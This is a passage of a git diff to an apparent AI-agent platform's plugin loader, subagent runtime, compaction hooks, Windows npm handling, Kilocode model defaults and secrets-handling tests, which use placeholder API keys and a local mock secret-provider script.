a/src/plugins/loader.test.ts b/src/plugins/loader.test.ts index cdd23edbfa8..a4aea837757 100644 --- a/src/plugins/loader.test.ts +++ b/src/plugins/loader.test.ts @@ -731,6 +731,59 @@ describe("loadOpenClawPlugins", () => { ).toBe(true); }); + it("rejects mixed-auth overlapping http routes", () => { + useNoBundledPlugins(); + const plugin = writePlugin({ + id: "http-route-overlap", + filename: "http-route-overlap.cjs", + body: `module.exports = { id: "http-route-overlap", register(api) { + api.registerHttpRoute({ path: "/plugin/secure", auth: "gateway", match: "prefix", handler: async () => true }); + api.registerHttpRoute({ path: "/plugin/secure/report", auth: "plugin", match: "exact", handler: async () => true }); +} };`, + }); + + const registry = loadRegistryFromSinglePlugin({ + plugin, + pluginConfig: { + allow: ["http-route-overlap"], + }, + }); + + const routes = registry.httpRoutes.filter((entry) => entry.pluginId === "http-route-overlap"); + expect(routes).toHaveLength(1); + expect(routes[0]?.path).toBe("/plugin/secure"); + expect( + registry.diagnostics.some((diag) => + String(diag.message).includes("http route overlap rejected"), + ), + ).toBe(true); + }); + + it("allows same-auth overlapping http routes", () => { + useNoBundledPlugins(); + const plugin = writePlugin({ + id: "http-route-overlap-same-auth", + filename: "http-route-overlap-same-auth.cjs", + body: `module.exports = { id: "http-route-overlap-same-auth", register(api) { + api.registerHttpRoute({ path: "/plugin/public", auth: "plugin", match: "prefix", handler: async () => true }); + api.registerHttpRoute({ path: "/plugin/public/report", auth: "plugin", match: "exact", handler: async () => true }); +} };`, + }); + + const registry = loadRegistryFromSinglePlugin({ + plugin, + pluginConfig: { + allow: ["http-route-overlap-same-auth"], + }, + }); + + const routes = registry.httpRoutes.filter( + (entry) => entry.pluginId === "http-route-overlap-same-auth", + ); + expect(routes).toHaveLength(2); + expect(registry.diagnostics).toEqual([]); + }); + it("respects explicit disable in config", () => { process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = "/nonexistent/bundled/plugins"; const plugin = writePlugin({ diff --git a/src/plugins/loader.ts b/src/plugins/loader.ts index 482eeead5de..15051b25e81 100644 --- a/src/plugins/loader.ts +++ b/src/plugins/loader.ts @@ -21,7 +21,7 @@ import { loadPluginManifestRegistry } from "./manifest-registry.js"; import { isPathInside, safeStatSync } from "./path-safety.js"; import { createPluginRegistry, type PluginRecord, type PluginRegistry } from "./registry.js"; import { setActivePluginRegistry } from "./runtime.js"; -import { createPluginRuntime } from "./runtime/index.js"; +import { createPluginRuntime, type CreatePluginRuntimeOptions } from "./runtime/index.js"; import type { PluginRuntime } from "./runtime/types.js"; import { validateJsonSchemaValue } from "./schema-validator.js"; import type { @@ -38,6 +38,7 @@ export type PluginLoadOptions = { workspaceDir?: string; logger?: PluginLogger; coreGatewayHandlers?: Record; + runtimeOptions?: CreatePluginRuntimeOptions; cache?: boolean; mode?: "full" | "validate"; }; @@ -503,7 +504,7 @@ export function loadOpenClawPlugins(options: PluginLoadOptions = {}): PluginRegi // not eagerly load every channel runtime dependency. let resolvedRuntime: PluginRuntime | null = null; const resolveRuntime = (): PluginRuntime => { - resolvedRuntime ??= createPluginRuntime(); + resolvedRuntime ??= createPluginRuntime(options.runtimeOptions); return resolvedRuntime; }; const runtime = new Proxy({} as PluginRuntime, { diff --git a/src/plugins/registry.ts b/src/plugins/registry.ts index fde8d0e6a6d..37947fce707 100644 --- a/src/plugins/registry.ts +++ b/src/plugins/registry.ts @@ -2,6 +2,7 @@ import path from "node:path"; import type { AnyAgentTool } from "../agents/tools/common.js"; import type { ChannelDock } from "../channels/dock.js"; import type { ChannelPlugin } from "../channels/plugins/types.js"; +import { registerContextEngine } from "../context-engine/registry.js"; import type { GatewayRequestHandler, GatewayRequestHandlers, @@ -11,6 +12,7 @@ import type { HookEntry } from "../hooks/types.js"; import { resolveUserPath } from "../utils.js"; import { registerPluginCommand } from "./commands.js"; import { normalizePluginHttpPath } from "./http-path.js"; +import { findOverlappingPluginHttpRoute } from "./http-route-overlap.js"; import type { PluginRuntime } from "./runtime/types.js"; import { isPluginHookName, @@ -334,6 +336,22 @@ export function createPluginRegistry(registryParams: PluginRegistryParams) { return; } const match = params.match ?? "exact"; + const overlappingRoute = findOverlappingPluginHttpRoute(registry.httpRoutes, { + path: normalizedPath, + match, + }); + if (overlappingRoute && overlappingRoute.auth !== params.auth) { + pushDiagnostic({ + level: "error", + pluginId: record.id, + source: record.source, + message: + `http route overlap rejected: ${normalizedPath} (${match}, ${params.auth}) ` + + `overlaps ${overlappingRoute.path} (${overlappingRoute.match}, ${overlappingRoute.auth}) ` + + `owned by ${describeHttpRouteOwner(overlappingRoute)}`, + }); + return; + } const existingIndex = registry.httpRoutes.findIndex( (entry) => entry.path === normalizedPath && entry.match === match, ); @@ -582,6 +600,7 @@ export function createPluginRegistry(registryParams: PluginRegistryParams) { registerCli: (registrar, opts) => registerCli(record, registrar, opts), registerService: (service) => registerService(record, service), registerCommand: (command) => registerCommand(record, command), + registerContextEngine: (id, factory) => registerContextEngine(id, factory), resolvePath: (input: string) => resolveUserPath(input), on: (hookName, handler, opts) => registerTypedHook(record, hookName, handler, opts, params.hookPolicy), diff --git a/src/plugins/runtime/gateway-request-scope.test.ts b/src/plugins/runtime/gateway-request-scope.test.ts new file mode 100644 index 00000000000..ef31350e2a3 --- /dev/null +++ b/src/plugins/runtime/gateway-request-scope.test.ts @@ -0,0 +1,23 @@ +import { afterEach, describe, expect, it, vi } from "vitest"; +import type { PluginRuntimeGatewayRequestScope } from "./gateway-request-scope.js"; + +const TEST_SCOPE: PluginRuntimeGatewayRequestScope = { + context: {} as PluginRuntimeGatewayRequestScope["context"], + isWebchatConnect: (() => false) as PluginRuntimeGatewayRequestScope["isWebchatConnect"], +}; + +afterEach(() => { + vi.resetModules(); +}); + +describe("gateway request scope", () => { + it("reuses AsyncLocalStorage across reloaded module instances", async () => { + const first = await import("./gateway-request-scope.js"); + + await first.withPluginRuntimeGatewayRequestScope(TEST_SCOPE, async () => { + vi.resetModules(); + const second = await import("./gateway-request-scope.js"); + expect(second.getPluginRuntimeGatewayRequestScope()).toEqual(TEST_SCOPE); + }); + }); +}); diff --git a/src/plugins/runtime/gateway-request-scope.ts b/src/plugins/runtime/gateway-request-scope.ts new file mode 100644 index 00000000000..11ed9cb4980 --- /dev/null +++ b/src/plugins/runtime/gateway-request-scope.ts @@ -0,0 +1,46 @@ +import { AsyncLocalStorage } from "node:async_hooks"; +import type { + GatewayRequestContext, + GatewayRequestOptions, +} from "../../gateway/server-methods/types.js"; + +export type PluginRuntimeGatewayRequestScope = { + context: GatewayRequestContext; + isWebchatConnect: GatewayRequestOptions["isWebchatConnect"]; +}; + +const PLUGIN_RUNTIME_GATEWAY_REQUEST_SCOPE_KEY: unique symbol = Symbol.for( + "openclaw.pluginRuntimeGatewayRequestScope", +); + +const pluginRuntimeGatewayRequestScope = (() => { + const globalState = globalThis as typeof globalThis & { + [PLUGIN_RUNTIME_GATEWAY_REQUEST_SCOPE_KEY]?: AsyncLocalStorage; + }; + const existing = globalState[PLUGIN_RUNTIME_GATEWAY_REQUEST_SCOPE_KEY]; + if (existing) { + return existing; + } + const created = new AsyncLocalStorage(); + globalState[PLUGIN_RUNTIME_GATEWAY_REQUEST_SCOPE_KEY] = created; + return created; +})(); + +/** + * Runs plugin gateway handlers with request-scoped context that runtime helpers can read. + */ +export function withPluginRuntimeGatewayRequestScope( + scope: PluginRuntimeGatewayRequestScope, + run: () => T, +): T { + return pluginRuntimeGatewayRequestScope.run(scope, run); +} + +/** + * Returns the current plugin gateway request scope when called from a plugin request handler. + */ +export function getPluginRuntimeGatewayRequestScope(): + | PluginRuntimeGatewayRequestScope + | undefined { + return pluginRuntimeGatewayRequestScope.getStore(); +} diff --git a/src/plugins/runtime/index.ts b/src/plugins/runtime/index.ts index 3db2f68ad92..68b672db1b4 100644 --- a/src/plugins/runtime/index.ts +++ b/src/plugins/runtime/index.ts @@ -28,10 +28,28 @@ function resolveVersion(): string { } } -export function createPluginRuntime(): PluginRuntime { +function createUnavailableSubagentRuntime(): PluginRuntime["subagent"] { + const unavailable = () => { + throw new Error("Plugin runtime subagent methods are only available during a gateway request."); + }; + return { + run: unavailable, + waitForRun: unavailable, + getSessionMessages: unavailable, + getSession: unavailable, + deleteSession: unavailable, + }; +} + +export type CreatePluginRuntimeOptions = { + subagent?: PluginRuntime["subagent"]; +}; + +export function createPluginRuntime(_options: CreatePluginRuntimeOptions = {}): PluginRuntime { const runtime = { version: resolveVersion(), config: createRuntimeConfig(), + subagent: _options.subagent ?? createUnavailableSubagentRuntime(), system: createRuntimeSystem(), media: createRuntimeMedia(), tts: { textToSpeechTelephony }, diff --git a/src/plugins/runtime/types.ts b/src/plugins/runtime/types.ts index 275bb7cba9a..245e8dd1274 100644 --- a/src/plugins/runtime/types.ts +++ b/src/plugins/runtime/types.ts @@ -3,6 +3,61 @@ import type { PluginRuntimeCore, RuntimeLogger } from "./types-core.js"; export type { RuntimeLogger }; +// ── Subagent runtime types ────────────────────────────────────────── + +export type SubagentRunParams = { + sessionKey: string; + message: string; + extraSystemPrompt?: string; + lane?: string; + deliver?: boolean; + idempotencyKey?: string; +}; + +export type SubagentRunResult = { + runId: string; +}; + +export type SubagentWaitParams = { + runId: string; + timeoutMs?: number; +}; + +export type SubagentWaitResult = { + status: "ok" | "error" | "timeout"; + error?: string; +}; + +export type SubagentGetSessionMessagesParams = { + sessionKey: string; + limit?: number; +}; + +export type SubagentGetSessionMessagesResult = { + messages: unknown[]; +}; + +/** @deprecated Use SubagentGetSessionMessagesParams. */ +export type SubagentGetSessionParams = SubagentGetSessionMessagesParams; + +/** @deprecated Use SubagentGetSessionMessagesResult. */ +export type SubagentGetSessionResult = SubagentGetSessionMessagesResult; + +export type SubagentDeleteSessionParams = { + sessionKey: string; + deleteTranscript?: boolean; +}; + export type PluginRuntime = PluginRuntimeCore & { + subagent: { + run: (params: SubagentRunParams) => Promise; + waitForRun: (params: SubagentWaitParams) => Promise; + getSessionMessages: ( + params: SubagentGetSessionMessagesParams, + ) => Promise; + /** @deprecated Use getSessionMessages. */ + getSession: (params: SubagentGetSessionParams) => Promise; + deleteSession: (params: SubagentDeleteSessionParams) => Promise; + }; channel: PluginRuntimeChannel; }; diff --git a/src/plugins/slots.ts b/src/plugins/slots.ts index 8fee7172a2e..bcbbdd44a03 100644 --- a/src/plugins/slots.ts +++ b/src/plugins/slots.ts @@ -11,10 +11,12 @@ type SlotPluginRecord = { const SLOT_BY_KIND: Record = { memory: "memory", + "context-engine": "contextEngine", }; const DEFAULT_SLOT_BY_KEY: Record = { memory: "memory-core", + contextEngine: "legacy", }; export function slotKeyForPluginKind(kind?: PluginKind): PluginSlotKey | null { diff --git a/src/plugins/types.ts b/src/plugins/types.ts index 1cb2779e8c2..32f8a545038 100644 --- a/src/plugins/types.ts +++ b/src/plugins/types.ts @@ -35,7 +35,7 @@ export type PluginConfigUiHint = { placeholder?: string; }; -export type PluginKind = "memory"; +export type PluginKind = "memory" | "context-engine"; export type PluginConfigValidation = | { ok: true; value?: unknown } @@ -285,6 +285,11 @@ export type OpenClawPluginApi = { * Use this for simple state-toggling or status commands that don't need AI reasoning. */ registerCommand: (command: OpenClawPluginCommandDefinition) => void; + /** Register a context engine implementation (exclusive slot — only one active at a time). */ + registerContextEngine: ( + id: string, + factory: import("../context-engine/registry.js").ContextEngineFactory, + ) => void; resolvePath: (input: string) => string; /** Register a lifecycle hook handler */ on: ( diff --git a/src/plugins/wired-hooks-after-tool-call.e2e.test.ts b/src/plugins/wired-hooks-after-tool-call.e2e.test.ts index ad04cd80f44..147ca323a91 100644 --- a/src/plugins/wired-hooks-after-tool-call.e2e.test.ts +++ b/src/plugins/wired-hooks-after-tool-call.e2e.test.ts @@ -1,7 +1,8 @@ +import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; /** * Test: after_tool_call hook wiring (pi-embedded-subscribe.handlers.tools.ts) */ -import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { createBaseToolHandlerState } from "../agents/pi-tool-handler-state.test-helpers.js"; const hookMocks = vi.hoisted(() => ({ runner: { @@ -38,17 +39,7 @@ function createToolHandlerCtx(params: { }, state: { toolMetaById: new Map(), - toolMetas: [] as Array<{ toolName?: string; meta?: string }>, - toolSummaryById: new Set(), - lastToolError: undefined, - pendingMessagingTexts: new Map(), - pendingMessagingTargets: new Map(), - pendingMessagingMediaUrls: new Map(), - messagingToolSentTexts: [] as string[], - messagingToolSentTextsNormalized: [] as string[], - messagingToolSentMediaUrls: [] as string[], - messagingToolSentTargets: [] as unknown[], - blockBuffer: "", + ...createBaseToolHandlerState(), }, log: { debug: vi.fn(), warn: vi.fn() }, flushBlockReplyBuffer: vi.fn(), diff --git a/src/plugins/wired-hooks-compaction.test.ts b/src/plugins/wired-hooks-compaction.test.ts index 7ba3c3ad090..5081922ec1d 100644 --- a/src/plugins/wired-hooks-compaction.test.ts +++ b/src/plugins/wired-hooks-compaction.test.ts @@ -100,6 +100,7 @@ describe("compaction hook wiring", () => { { type: "auto_compaction_end", willRetry: false, + result: { summary: "compacted" }, } as never, ); @@ -122,7 +123,7 @@ describe("compaction hook wiring", () => { }); }); - it("does not call runAfterCompaction when willRetry is true", () => { + it("does not call runAfterCompaction when willRetry is true but still increments counter", () => { hookMocks.runner.hasHooks.mockReturnValue(true); const ctx = { @@ -132,7 +133,8 @@ describe("compaction hook wiring", () => { noteCompactionRetry: vi.fn(), resetForCompactionRetry: vi.fn(), maybeResolveCompactionWait: vi.fn(), - getCompactionCount: () => 0, + incrementCompactionCount: vi.fn(), + getCompactionCount: () => 1, }; handleAutoCompactionEnd( @@ -140,10 +142,13 @@ describe("compaction hook wiring", () => { { type: "auto_compaction_end", willRetry: true, + result: { summary: "compacted" }, } as never, ); expect(hookMocks.runner.runAfterCompaction).not.toHaveBeenCalled(); + // Counter is incremented even with willRetry — compaction succeeded (#38905) + expect(ctx.incrementCompactionCount).toHaveBeenCalledTimes(1); expect(ctx.noteCompactionRetry).toHaveBeenCalledTimes(1); expect(ctx.resetForCompactionRetry).toHaveBeenCalledTimes(1); expect(ctx.maybeResolveCompactionWait).not.toHaveBeenCalled(); @@ -154,6 +159,75 @@ describe("compaction hook wiring", () => { }); }); + it("does not increment counter when compaction was aborted", () => { + const ctx = { + params: { runId: "r3b", session: { messages: [] } }, + state: { compactionInFlight: true }, + log: { debug: vi.fn(), warn: vi.fn() }, + maybeResolveCompactionWait: vi.fn(), + incrementCompactionCount: vi.fn(), + getCompactionCount: () => 0, + }; + + handleAutoCompactionEnd( + ctx as never, + { + type: "auto_compaction_end", + willRetry: false, + result: undefined, + aborted: true, + } as never, + ); + + expect(ctx.incrementCompactionCount).not.toHaveBeenCalled(); + }); + + it("does not increment counter when compaction has result but was aborted", () => { + const ctx = { + params: { runId: "r3b2", session: { messages: [] } }, + state: { compactionInFlight: true }, + log: { debug: vi.fn(), warn: vi.fn() }, + maybeResolveCompactionWait: vi.fn(), + incrementCompactionCount: vi.fn(), + getCompactionCount: () => 0, + }; + + handleAutoCompactionEnd( + ctx as never, + { + type: "auto_compaction_end", + willRetry: false, + result: { summary: "compacted" }, + aborted: true, + } as never, + ); + + expect(ctx.incrementCompactionCount).not.toHaveBeenCalled(); + }); + + it("does not increment counter when result is undefined", () => { + const ctx = { + params: { runId: "r3c", session: { messages: [] } }, + state: { compactionInFlight: true }, + log: { debug: vi.fn(), warn: vi.fn() }, + maybeResolveCompactionWait: vi.fn(), + incrementCompactionCount: vi.fn(), + getCompactionCount: () => 0, + }; + + handleAutoCompactionEnd( + ctx as never, + { + type: "auto_compaction_end", + willRetry: false, + result: undefined, + aborted: false, + } as never, + ); + + expect(ctx.incrementCompactionCount).not.toHaveBeenCalled(); + }); + it("resets stale assistant usage after final compaction", () => { const messages = [ { role: "user", content: "hello" }, @@ -183,6 +257,7 @@ describe("compaction hook wiring", () => { { type: "auto_compaction_end", willRetry: false, + result: { summary: "compacted" }, } as never, ); diff --git a/src/process/exec.test.ts b/src/process/exec.test.ts index 6f2c3640c11..19937d6cb32 100644 --- a/src/process/exec.test.ts +++ b/src/process/exec.test.ts @@ -1,5 +1,6 @@ import type { ChildProcess } from "node:child_process"; import { EventEmitter } from "node:events"; +import fs from "node:fs"; import process from "node:process"; import { describe, expect, it, vi } from "vitest"; import { attachChildProcessBridge } from "./child-process-bridge.js"; @@ -77,6 +78,20 @@ describe("runCommandWithTimeout", () => { expect(result.stdout.trim()).toMatch(/^\d+\.\d+\.\d+$/); }, ); + + it.runIf(process.platform === "win32")( + "falls back to npm.cmd when npm-cli.js is unavailable", + async () => { + const existsSpy = vi.spyOn(fs, "existsSync").mockReturnValue(false); + try { + const result = await runCommandWithTimeout(["npm", "--version"], { timeoutMs: 10_000 }); + expect(result.code).toBe(0); + expect(result.stdout.trim()).toMatch(/^\d+\.\d+\.\d+$/); + } finally { + existsSpy.mockRestore(); + } + }, + ); }); describe("attachChildProcessBridge", () => { diff --git a/src/process/exec.ts b/src/process/exec.ts index ef6b707fbe6..ddc572092d8 100644 --- a/src/process/exec.ts +++ b/src/process/exec.ts @@ -58,7 +58,13 @@ function resolveNpmArgvForWindows(argv: string[]): string[] | null { const nodeDir = path.dirname(process.execPath); const cliPath = path.join(nodeDir, "node_modules", "npm", "bin", cliName); if (!fs.existsSync(cliPath)) { - return null; + // Bun-based runs don't ship npm-cli.js next to process.execPath. + // Fall back to npm.cmd/npx.cmd so we still route through cmd wrapper + // (avoids direct .cmd spawn EINVAL on patched Node). + const command = argv[0] ?? ""; + const ext = path.extname(command).toLowerCase(); + const shimmedCommand = ext ? command : `${command}.cmd`; + return [shimmedCommand, ...argv.slice(1)]; } return [process.execPath, cliPath, ...argv.slice(1)]; } diff --git a/src/providers/kilocode-shared.ts b/src/providers/kilocode-shared.ts index 760488fe01e..a06ba873e54 100644 --- a/src/providers/kilocode-shared.ts +++ b/src/providers/kilocode-shared.ts @@ -1,7 +1,7 @@ export const KILOCODE_BASE_URL = "https://api.kilo.ai/api/gateway/"; -export const KILOCODE_DEFAULT_MODEL_ID = "anthropic/claude-opus-4.6"; +export const KILOCODE_DEFAULT_MODEL_ID = "kilo/auto"; export const KILOCODE_DEFAULT_MODEL_REF = `kilocode/${KILOCODE_DEFAULT_MODEL_ID}`; -export const KILOCODE_DEFAULT_MODEL_NAME = "Claude Opus 4.6"; +export const KILOCODE_DEFAULT_MODEL_NAME = "Kilo Auto"; export type KilocodeModelCatalogEntry = { id: string; name: string; @@ -10,6 +10,12 @@ export type KilocodeModelCatalogEntry = { contextWindow?: number; maxTokens?: number; }; +/** + * Static fallback catalog — used by the sync onboarding path and as a + * fallback when dynamic model discovery from the gateway API fails. + * The full model list is fetched dynamically by {@link discoverKilocodeModels} + * in `src/agents/kilocode-models.ts`. + */ export const KILOCODE_MODEL_CATALOG: KilocodeModelCatalogEntry[] = [ { id: KILOCODE_DEFAULT_MODEL_ID, @@ -19,70 +25,6 @@ export const KILOCODE_MODEL_CATALOG: KilocodeModelCatalogEntry[] = [ contextWindow: 1000000, maxTokens: 128000, }, - { - id: "z-ai/glm-5:free", - name: "GLM-5 (Free)", - reasoning: true, - input: ["text"], - contextWindow: 202800, - maxTokens: 131072, - }, - { - id: "minimax/minimax-m2.5:free", - name: "MiniMax M2.5 (Free)", - reasoning: true, - input: ["text"], - contextWindow: 204800, - maxTokens: 131072, - }, - { - id: "anthropic/claude-sonnet-4.5", - name: "Claude Sonnet 4.5", - reasoning: true, - input: ["text", "image"], - contextWindow: 1000000, - maxTokens: 64000, - }, - { - id: "openai/gpt-5.2", - name: "GPT-5.2", - reasoning: true, - input: ["text", "image"], - contextWindow: 400000, - maxTokens: 128000, - }, - { - id: "google/gemini-3-pro-preview", - name: "Gemini 3 Pro Preview", - reasoning: true, - input: ["text", "image"], - contextWindow: 1048576, - maxTokens: 65536, - }, - { - id: "google/gemini-3-flash-preview", - name: "Gemini 3 Flash Preview", - reasoning: true, - input: ["text", "image"], - contextWindow: 1048576, - maxTokens: 65535, - }, - { - id: "x-ai/grok-code-fast-1", - name: "Grok Code Fast 1", - reasoning: true, - input: ["text"], - contextWindow: 256000, - maxTokens: 10000, - }, - { - id: "moonshotai/kimi-k2.5", - name: "Kimi K2.5", - reasoning: true, - input: ["text", "image"], - contextWindow: 262144, - maxTokens: 65535, - }, ]; export const KILOCODE_DEFAULT_CONTEXT_WINDOW = 1000000; export const KILOCODE_DEFAULT_MAX_TOKENS = 128000; diff --git a/src/scripts/ci-changed-scope.test.ts b/src/scripts/ci-changed-scope.test.ts index bd5c213bd12..358dbfc472c 100644 --- a/src/scripts/ci-changed-scope.test.ts +++ b/src/scripts/ci-changed-scope.test.ts @@ -10,6 +10,7 @@ const { detectChangedScope, listChangedPaths } = runMacos: boolean; runAndroid: boolean; runWindows: boolean; + runSkillsPython: boolean; }; listChangedPaths: (base: string, head?: string) => string[]; }; @@ -32,6 +33,7 @@ describe("detectChangedScope", () => { runMacos: true, runAndroid: true, runWindows: true, + runSkillsPython: true, }); }); @@ -41,6 +43,7 @@ describe("detectChangedScope", () => { runMacos: false, runAndroid: false, runWindows: false, + runSkillsPython: false, }); }); @@ -50,6 +53,7 @@ describe("detectChangedScope", () => { runMacos: false, runAndroid: false, runWindows: true, + runSkillsPython: false, }); }); @@ -59,12 +63,14 @@ describe("detectChangedScope", () => { runMacos: true, runAndroid: false, runWindows: false, + runSkillsPython: false, }); expect(detectChangedScope(["apps/shared/OpenClawKit/Sources/Foo.swift"])).toEqual({ runNode: false, runMacos: true, runAndroid: true, runWindows: false, + runSkillsPython: false, }); }); @@ -75,6 +81,7 @@ describe("detectChangedScope", () => { runMacos: false, runAndroid: false, runWindows: false, + runSkillsPython: false, }, ); }); @@ -85,6 +92,7 @@ describe("detectChangedScope", () => { runMacos: false, runAndroid: false, runWindows: false, + runSkillsPython: false, }); expect(detectChangedScope(["assets/icon.png"])).toEqual({ @@ -92,6 +100,7 @@ describe("detectChangedScope", () => { runMacos: false, runAndroid: false, runWindows: false, + runSkillsPython: false, }); }); @@ -101,6 +110,17 @@ describe("detectChangedScope", () => { runMacos: false, runAndroid: false, runWindows: false, + runSkillsPython: false, + }); + }); + + it("runs Python skill tests when skills change", () => { + expect(detectChangedScope(["skills/openai-image-gen/scripts/test_gen.py"])).toEqual({ + runNode: true, + runMacos: false, + runAndroid: false, + runWindows: false, + runSkillsPython: true, }); }); diff --git a/src/secrets/apply.test.ts b/src/secrets/apply.test.ts index a8e5ecd0cf8..55d14c7e6d0 100644 --- a/src/secrets/apply.test.ts +++ b/src/secrets/apply.test.ts @@ -72,7 +72,7 @@ async function createApplyFixture(): Promise { env: { OPENCLAW_STATE_DIR: paths.stateDir, OPENCLAW_CONFIG_PATH: paths.configPath, - OPENAI_API_KEY: "sk-live-env", + OPENAI_API_KEY: "sk-live-env", // pragma: allowlist secret }, }; } @@ -91,19 +91,19 @@ async function seedDefaultApplyFixture(fixture: ApplyFixture): Promise { "openai:default": { type: "api_key", provider: "openai", - key: "sk-openai-plaintext", + key: "sk-openai-plaintext", // pragma: allowlist secret }, }, }); await writeJsonFile(fixture.authJsonPath, { openai: { type: "api_key", - key: "sk-openai-plaintext", + key: "sk-openai-plaintext", // pragma: allowlist secret }, }); await fs.writeFile( fixture.envPath, - "OPENAI_API_KEY=sk-openai-plaintext\nUNRELATED=value\n", + "OPENAI_API_KEY=sk-openai-plaintext\nUNRELATED=value\n", // pragma: allowlist secret "utf8", ); } @@ -149,6 +149,18 @@ function createOpenAiProviderTarget(params?: { }; } +function createOpenAiProviderHeaderTarget(params?: { + path?: string; + pathSegments?: string[]; +}): SecretsApplyPlan["targets"][number] { + return { + type: "models.providers.headers", + path: params?.path ?? "models.providers.openai.headers.x-api-key", + ...(params?.pathSegments ? { pathSegments: params.pathSegments } : {}), + ref: OPENAI_API_KEY_ENV_REF, + }; +} + function createOneWayScrubOptions(): NonNullable { return { scrubEnv: true, @@ -357,7 +369,7 @@ describe("secrets apply", () => { entries: { "qa-secret-test": { enabled: true, - apiKey: "sk-skill-plaintext", + apiKey: "sk-skill-plaintext", // pragma: allowlist secret }, }, }, @@ -394,7 +406,7 @@ describe("secrets apply", () => { `${JSON.stringify( { talk: { - apiKey: "sk-talk-plaintext", + apiKey: "sk-talk-plaintext", // pragma: allowlist secret }, }, null, @@ -436,6 +448,47 @@ describe("secrets apply", () => { }); }); + it("applies model provider header targets", async () => { + await writeJsonFile(fixture.configPath, { + models: { + providers: { + openai: { + ...createOpenAiProviderConfig(), + headers: { + "x-api-key": "sk-header-plaintext", + }, + }, + }, + }, + }); + + const plan = createPlan({ + targets: [ + createOpenAiProviderHeaderTarget({ + pathSegments: ["models", "providers", "openai", "headers", "x-api-key"], + }), + ], + options: { + scrubEnv: false, + scrubAuthProfilesForProviderTargets: false, + scrubLegacyAuthJson: false, + }, + }); + + const nextConfig = await applyPlanAndReadConfig<{ + models?: { + providers?: { + openai?: { + headers?: Record; + }; + }; + }; + }>(fixture, plan); + expect(nextConfig.models?.providers?.openai?.headers?.["x-api-key"]).toEqual( + OPENAI_API_KEY_ENV_REF, + ); + }); + it("applies array-indexed targets for agent memory search", async () => { await fs.writeFile( fixture.configPath, @@ -447,7 +500,7 @@ describe("secrets apply", () => { id: "main", memorySearch: { remote: { - apiKey: "sk-memory-plaintext", + apiKey: "sk-memory-plaintext", // pragma: allowlist secret }, }, }, @@ -480,7 +533,7 @@ describe("secrets apply", () => { }, }; - fixture.env.MEMORY_REMOTE_API_KEY = "sk-memory-live-env"; + fixture.env.MEMORY_REMOTE_API_KEY = "sk-memory-live-env"; // pragma: allowlist secret const result = await runSecretsApply({ plan, env: fixture.env, write: true }); expect(result.changed).toBe(true); diff --git a/src/secrets/apply.ts b/src/secrets/apply.ts index 1286071cf91..85408954239 100644 --- a/src/secrets/apply.ts +++ b/src/secrets/apply.ts @@ -298,7 +298,8 @@ function applyConfigTargetMutations(params: { } const targetPathSegments = resolved.pathSegments; - if (resolved.entry.secretShape === "sibling_ref") { + const usesSiblingRef = resolved.entry.secretShape === "sibling_ref"; // pragma: allowlist secret + if (usesSiblingRef) { const previous = getPath(params.nextConfig, targetPathSegments); if (isNonEmptyString(previous)) { scrubbedValues.add(previous.trim()); @@ -530,7 +531,8 @@ function applyAuthProfileTargetMutation(params: { store, }); const targetPathSegments = params.resolved.pathSegments; - if (params.resolved.entry.secretShape === "sibling_ref") { + const usesSiblingRef = params.resolved.entry.secretShape === "sibling_ref"; // pragma: allowlist secret + if (usesSiblingRef) { const previous = getPath(store, targetPathSegments); if (isNonEmptyString(previous)) { params.scrubbedValues.add(previous.trim()); diff --git a/src/secrets/audit.test.ts b/src/secrets/audit.test.ts index 21f59d51cac..b797494d54a 100644 --- a/src/secrets/audit.test.ts +++ b/src/secrets/audit.test.ts @@ -10,10 +10,13 @@ type AuditFixture = { configPath: string; authStorePath: string; authJsonPath: string; + modelsPath: string; envPath: string; env: NodeJS.ProcessEnv; }; +const OPENAI_API_KEY_MARKER = "OPENAI_API_KEY"; // pragma: allowlist secret + async function writeJsonFile(filePath: string, value: unknown): Promise { await fs.writeFile(filePath, `${JSON.stringify(value, null, 2)}\n`, "utf8"); } @@ -27,9 +30,11 @@ function resolveRuntimePathEnv(): string { function hasFinding( report: Awaited>, - predicate: (entry: { code: string; file: string }) => boolean, + predicate: (entry: { code: string; file: string; jsonPath?: string }) => boolean, ): boolean { - return report.findings.some((entry) => predicate(entry as { code: string; file: string })); + return report.findings.some((entry) => + predicate(entry as { code: string; file: string; jsonPath?: string }), + ); } async function createAuditFixture(): Promise { @@ -38,6 +43,7 @@ async function createAuditFixture(): Promise { const configPath = path.join(stateDir, "openclaw.json"); const authStorePath = path.join(stateDir, "agents", "main", "agent", "auth-profiles.json"); const authJsonPath = path.join(stateDir, "agents", "main", "agent", "auth.json"); + const modelsPath = path.join(stateDir, "agents", "main", "agent", "models.json"); const envPath = path.join(stateDir, ".env"); await fs.mkdir(path.dirname(configPath), { recursive: true }); @@ -49,11 +55,12 @@ async function createAuditFixture(): Promise { configPath, authStorePath, authJsonPath, + modelsPath, envPath, env: { OPENCLAW_STATE_DIR: stateDir, OPENCLAW_CONFIG_PATH: configPath, - OPENAI_API_KEY: "env-openai-key", + OPENAI_API_KEY: "env-openai-key", // pragma: allowlist secret PATH: resolveRuntimePathEnv(), }, }; @@ -64,7 +71,7 @@ async function seedAuditFixture(fixture: AuditFixture): Promise { openai: { baseUrl: "https://api.openai.com/v1", api: "openai-completions", - apiKey: { source: "env", provider: "default", id: "OPENAI_API_KEY" }, + apiKey: { source: "env", provider: "default", id: OPENAI_API_KEY_MARKER }, models: [{ id: "gpt-5", name: "gpt-5" }], }, }; @@ -85,7 +92,21 @@ async function seedAuditFixture(fixture: AuditFixture): Promise { version: 1, profiles: Object.fromEntries(seededProfiles), }); - await fs.writeFile(fixture.envPath, "OPENAI_API_KEY=sk-openai-plaintext\n", "utf8"); + await writeJsonFile(fixture.modelsPath, { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + api: "openai-completions", + apiKey: OPENAI_API_KEY_MARKER, + models: [{ id: "gpt-5", name: "gpt-5" }], + }, + }, + }); + await fs.writeFile( + fixture.envPath, + `${OPENAI_API_KEY_MARKER}=sk-openai-plaintext\n`, // pragma: allowlist secret + "utf8", + ); } describe("secrets audit", () => { @@ -146,7 +167,7 @@ describe("secrets audit", () => { "#!/bin/sh", `printf 'x\\n' >> ${JSON.stringify(execLogPath)}`, "cat >/dev/null", - 'printf \'{"protocolVersion":1,"values":{"providers/openai/apiKey":"value:providers/openai/apiKey","providers/moonshot/apiKey":"value:providers/moonshot/apiKey"}}\'', + 'printf 